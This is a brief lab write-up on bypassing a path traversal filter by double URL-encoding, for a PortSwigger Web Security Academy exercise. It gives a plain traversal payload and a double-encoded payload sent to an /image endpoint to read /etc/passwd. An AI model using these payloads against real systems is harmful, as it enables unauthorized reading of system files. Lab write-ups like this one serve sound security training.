> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/path-traversal/bypass-by-double-url-decoding.md).
# Bypass by Double URL Decoding
Bypass by Double URL Decoding notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### File Path Traversal, Traversal Sequences Stripped with Superfluous URL-decode
This lab presents a vulnerability of path traversal when displaying the images produced. / The application blocks the crossover sequences in the filename provided by the user, then applies an additional URL decoding before using this value.
The objective is to read the contents of the `/etc/passwd` file.
The following standard load is found not to work:
```bash
../../../../../etc/paswd
```
To bypass this filter, a technique consists of **encode URL twice** and send it in the `filename` parameter of the `/image` endpoint:
{% code overflow="wrap" %}
```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```
{% endcode %}
---
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